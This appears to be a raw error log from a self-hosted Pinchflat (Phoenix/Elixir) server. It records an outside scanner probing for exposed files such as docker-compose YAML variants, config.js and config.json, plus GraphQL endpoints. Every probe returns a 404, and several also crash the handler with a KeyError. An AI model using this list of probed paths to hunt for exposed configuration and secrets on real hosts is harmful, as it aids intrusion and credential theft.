~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9585.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.override.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34992}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.override (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9585.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.override.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34992}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9586.0>, params: %{}, path_info: ["docker-compose.override"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.override.yml", resp_body: nil, resp_cookies: %{}, resp_ (truncated) 15:21:45.715 [info] POST /api/graphql 15:21:45.715 [info] Sent 404 in 148µs 15:21:45.715 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.718 [info] GET /docker-compose.dev.yml 15:21:45.718 [debug] QUERY OK source="settings" db=0.0ms idle=468.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.718 [debug] QUERY OK source="settings" db=0.0ms idle=468.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.718 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.718 [error] #PID<0.9590.0> running PinchflatWeb.Endpoint (connection #PID<0.9589.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /docker-compose.dev.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9589.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.dev.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35010}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9590.0>, params: %{}, path_info: ["docker-compose.dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.dev.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDApahe_Nqk1cAAcAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9589.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.dev.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35010}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9589.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.dev.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35010}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9590.0>, params: %{}, path_info: ["docker-compose.dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.dev.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age= (truncated) 15:21:45.959 [info] GET /docker-compose.prod.yml 15:21:45.959 [debug] QUERY OK source="settings" db=0.1ms idle=475.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.959 [debug] QUERY OK source="settings" db=0.1ms idle=475.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:45.959 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:45.959 [error] #PID<0.9592.0> running PinchflatWeb.Endpoint (connection #PID<0.9591.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /docker-compose.prod.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.prod.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35020}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9592.0>, params: %{}, path_info: ["docker-compose.prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.prod.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAqT6QpTKmFUAAcBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.prod.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35020}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose.prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.prod.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35020}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9592.0>, params: %{}, path_info: ["docker-compose.prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/docker-compose.prod.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", (truncated) 15:21:46.031 [info] POST /graphql/api 15:21:46.032 [info] Sent 404 in 212µs 15:21:46.032 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:46.195 [info] GET /config.js 15:21:46.195 [debug] QUERY OK source="settings" db=0.1ms idle=698.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.195 [debug] QUERY OK source="settings" db=0.0ms idle=477.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.195 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:46.196 [error] #PID<0.9596.0> running PinchflatWeb.Endpoint (connection #PID<0.9595.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35038}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9596.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDArMP1E5T7gYAAcDC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35038}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9595.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35038}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9596.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, r (truncated) 15:21:46.431 [info] GET /config.json 15:21:46.432 [debug] QUERY OK source="settings" db=0.1ms idle=713.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.432 [debug] QUERY OK source="settings" db=0.0ms idle=472.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.432 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:46.432 [error] #PID<0.9598.0> running PinchflatWeb.Endpoint (connection #PID<0.9597.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9598.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => 